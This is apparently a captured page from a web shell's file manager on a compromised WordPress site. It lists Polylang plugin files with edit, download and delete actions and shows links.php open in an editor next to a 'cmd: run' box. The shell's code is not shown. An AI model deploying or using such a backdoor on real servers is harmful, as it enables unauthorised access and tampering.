/
var
/
www
/
leolaart.com
/
www
/
wp-content
/
plugins
/
polylang
/
include
/
/var/www/leolaart.com/www/wp-content/plugins/polylang/include
mkdir
upload
Name
Size
Mode
Actions
api.php
17763
0666
edit
dl
rm
base.php
5932
0666
edit
dl
rm
cache.php
2503
0666
edit
dl
rm
class-polylang.php
8759
0666
edit
dl
rm
cookie.php
3433
0666
edit
dl
rm
crud-posts.php
15511
0666
edit
dl
rm
crud-terms.php
10105
0666
edit
dl
rm
db-tools.php
1038
0666
edit
dl
rm
filter-rest-routes.php
4988
0666
edit
dl
rm
filters-links.php
5686
0666
edit
dl
rm
filters-sanitization.php
3311
0666
edit
dl
rm
filters-widgets-options.php
2634
0666
edit
dl
rm
filters.php
15752
0666
edit
dl
rm
functions.php
7173
0666
edit
dl
rm
language-deprecated.php
7355
0666
edit
dl
rm
language-factory.php
9535
0666
edit
dl
rm
language.php
18470
0666
edit
dl
rm
license.php
9415
0666
edit
dl
rm
links-abstract-domain.php
3240
0666
edit
dl
rm
links-default.php
3100
0666
edit
dl
rm
links-directory.php
9721
0666
edit
dl
rm
links-domain.php
3136
0666
edit
dl
rm
links-model.php
6639
0666
edit
dl
rm
links-permalinks.php
5753
0666
edit
dl
rm
links-subdomain.php
2216
0666
edit
dl
rm
links.php
1331
0666
edit
dl
rm
mo.php
2020
0666
edit
dl
rm
model.php
34651
0666
edit
dl
rm
nav-menu.php
4533
0666
edit
dl
rm
olt-manager.php
8567
0666
edit
dl
rm
query.php
6544
0666
edit
dl
rm
rest-request.php
3194
0666
edit
dl
rm
static-pages.php
6415
0666
edit
dl
rm
switcher.php
11151
0666
edit
dl
rm
translatable-object-with-types-interface.php
1127
0666
edit
dl
rm
translatable-object-with-types-trait.php
1936
0666
edit
dl
rm
translatable-object.php
13593
0666
edit
dl
rm
translatable-objects.php
3569
0666
edit
dl
rm
translate-option.php
12759
0666
edit
dl
rm
translated-object.php
16786
0666
edit
dl
rm
translated-post.php
11964
0666
edit
dl
rm
translated-term.php
10008
0666
edit
dl
rm
walker-dropdown.php
3538
0666
edit
dl
rm
walker-list.php
2308
0666
edit
dl
rm
walker.php
2336
0666
edit
dl
rm
widget-calendar.php
9667
0666
edit
dl
rm
widget-languages.php
4678
0666
edit
dl
rm
Edit:
/var/www/leolaart.com/www/wp-content/plugins/polylang/include/links.php
(1331B)
<?php /** * @package Polylang */ /** * Manages links related functions * * @since 1.2 */ class PLL_Links { /** * Stores the plugin options. * * @var array */ public $options; /** * @var PLL_Model */ public $model; /** * Instance of a child class of PLL_Links_Model. * * @var PLL_Links_Model */ public $links_model; /** * Current language (used to filter the content). * * @var PLL_Language|null */ public $curlang; /** * Constructor * * @since 1.2 * * @param object $polylang The Polylang object. */ public function __construct( &$polylang ) { $this->links_model = &$polylang->links_model; $this->model = &$polylang->model; $this->options = &$polylang->options; } /** * Returns the home url in the requested language. * * @since 1.3 * * @param PLL_Language|string $language The language. * @param bool $is_search Optional, whether we need the home url for a search form, defaults to false. * @return string */ public function get_home_url( $language, $is_search = false ) { if ( ! $language instanceof PLL_Language ) { $language = $this->model->get_language( $language ); } if ( empty( $language ) ) { return home_url( '/' ); } return $is_search ? $language->get_search_url() : $language->get_home_url(); } }
Save
cmd:
run